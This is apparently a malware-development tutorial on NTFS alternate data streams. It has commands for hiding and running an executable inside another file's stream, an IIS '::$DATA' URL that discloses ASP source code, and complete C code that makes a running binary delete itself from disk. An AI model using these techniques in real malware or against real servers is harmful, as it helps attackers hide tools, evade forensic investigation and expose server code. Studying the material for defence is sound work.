Self Deleting Malware

Introduction

A not so well known feature of the New Technology File System (NTFS) is the support for multiple data streams. Alternate data streams allow files to contain more than one stream of data. It's purpose was primarily to allow compatibility with Macintosh systems.

Every file has at least one data stream: In Windows, the default data stream is :$DATA.

Data Streams

Since :$DATA exists on every file, it can be an alternate way to access any file. Any applications that creates, looks at, or depends on the end of a file name (or extension) should be aware of alternate data streams. Unsanitized user input could use the :$DATA stream to change the behavior of the program.

Creating Alternate Data Streams

  • C:\> type C:\windows\system32\notepad.exe > c:\windows\system32\calc.exe:notepad.exe

  • C:\> start c:\windows\system32\calc.exe:notepad.exe

Accessing the :$DATA Alternate Data Stream

  • C:\> start c:\textfile.txt::$DATA

Exploiting Data Stream to show ASP code

In some vulnerable versions of IIS, we can exploit the data stream extension to view source code.

Normal Access:

  • http://www.alternate-data-streams.com/default.asp

Exploited to show code:

  • http://www.alternate-data-streams.com/default.asp::$DATA

Deleting a Running Binary

As we know it is not possible to delete a running binary on Windows, since deleting a file requires that no other process is using it.

One way to get around this is by renaming** the default data stream :$DATA**** to another name that represents a new data stream.**

We then can we can delete the newly renamed data stream, causing the binary to be wiped from disk.

Retrieve File Handle

We first need to retrieve the file handle of the binary.

The file handle can be retrieved using the CreateFile WinAPI. The access flag must be set to DELETE to provide file deletion permissions.

hFile = CreateFileW(
        L"deletion.exe",
        DELETE | SYNCHRONIZE,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
);

Renaming The Default Data Stream

We can rename the default data stream of the running binary with SetFileInformationByHandle WinAPI function with the FileRenameInfo flag. There is a list of enum values that we can choose from.

FILE_INFO_BY_HANDLE_CLASS Enum:

typedef enum _FILE_INFO_BY_HANDLE_CLASS {
  FileBasicInfo,
  FileStandardInfo,
  FileNameInfo,
  FileRenameInfo, // This is the flag we will use to change the filename.
  ...
  }

SetFileInformationByHandle WinAPI function:

if (!SetFileInformationByHandle(
        hFile,
        FileRenameInfo,
        &pRename,
        sRename
        )) {

   wprintf(L"SetFileInformationByHandle Failed with Error %d", GetLastError());
   return -1;
};

Delete The Data Stream

We then delete the :$DATA stream to erase the file from the disk.

To do so, the same SetFileInformationByHandle WinAPI will be used, with a different flag, FileDispositionInfo This flag marks the file for deletion when its handle is closed.

We will close and reopen the previous handle.

Final Code


// The new data stream name
#define NEW_STREAM L":Foobar"


BOOL DeleteSelf() {


	WCHAR                       szPath [MAX_PATH * 2] = { 0 };
	FILE_DISPOSITION_INFO       Delete                = { 0 };
	HANDLE                      hFile                 = INVALID_HANDLE_VALUE;
	PFILE_RENAME_INFO           pRename               = NULL;
	const wchar_t*              NewStream             = (const wchar_t*)NEW_STREAM;
    SIZE_T			            StreamLength	         = wcslen(NewStream) * sizeof(wchar_t);
	SIZE_T                      sRename               = sizeof(FILE_RENAME_INFO) + StreamLength;


    // Allocating enough buffer for the 'FILE_RENAME_INFO' structure
	pRename = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
	if (!pRename) {
		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
  
    // Cleaning up some structures
	ZeroMemory(szPath, sizeof(szPath));
	ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));

	//----------------------------------------------------------------------------------------
    // Marking the file for deletion (used in the 2nd SetFileInformationByHandle call) 
	Delete.DeleteFile = TRUE;
  
    // Setting the new data stream name buffer and size in the 'FILE_RENAME_INFO' structure
	pRename->FileNameLength = StreamLength;
	RtlCopyMemory(pRename->FileName, NewStream, StreamLength);

	//----------------------------------------------------------------------------------------

    // Used to get the current file name
	if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
		printf("[!] GetModuleFileNameW Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	//----------------------------------------------------------------------------------------
    // RENAMING
  
    // Opening a handle to the current file
	hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileW [R] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	wprintf(L"[i] Renaming :$DATA to %s  ...", NEW_STREAM);

    // Renaming the data stream
	if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
		printf("[!] SetFileInformationByHandle [R] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	wprintf(L"[+] DONE \n");

	CloseHandle(hFile);

	//----------------------------------------------------------------------------------------
    // DELETING
  
    // Opening a new handle to the current file
	hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileW [D] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	wprintf(L"[i] DELETING ...");
	
    // Marking for deletion after the file's handle is closed
	if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
		printf("[!] SetFileInformationByHandle [D] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	wprintf(L"[+] DONE \n");

	CloseHandle(hFile);

	//----------------------------------------------------------------------------------------

    // Freeing the allocated buffer
	HeapFree(GetProcessHeap(), 0, pRename);

	return TRUE;
}

Hidden Files Misc

We can confirm that the files are in fact hidden when viewing the explorer

Last updated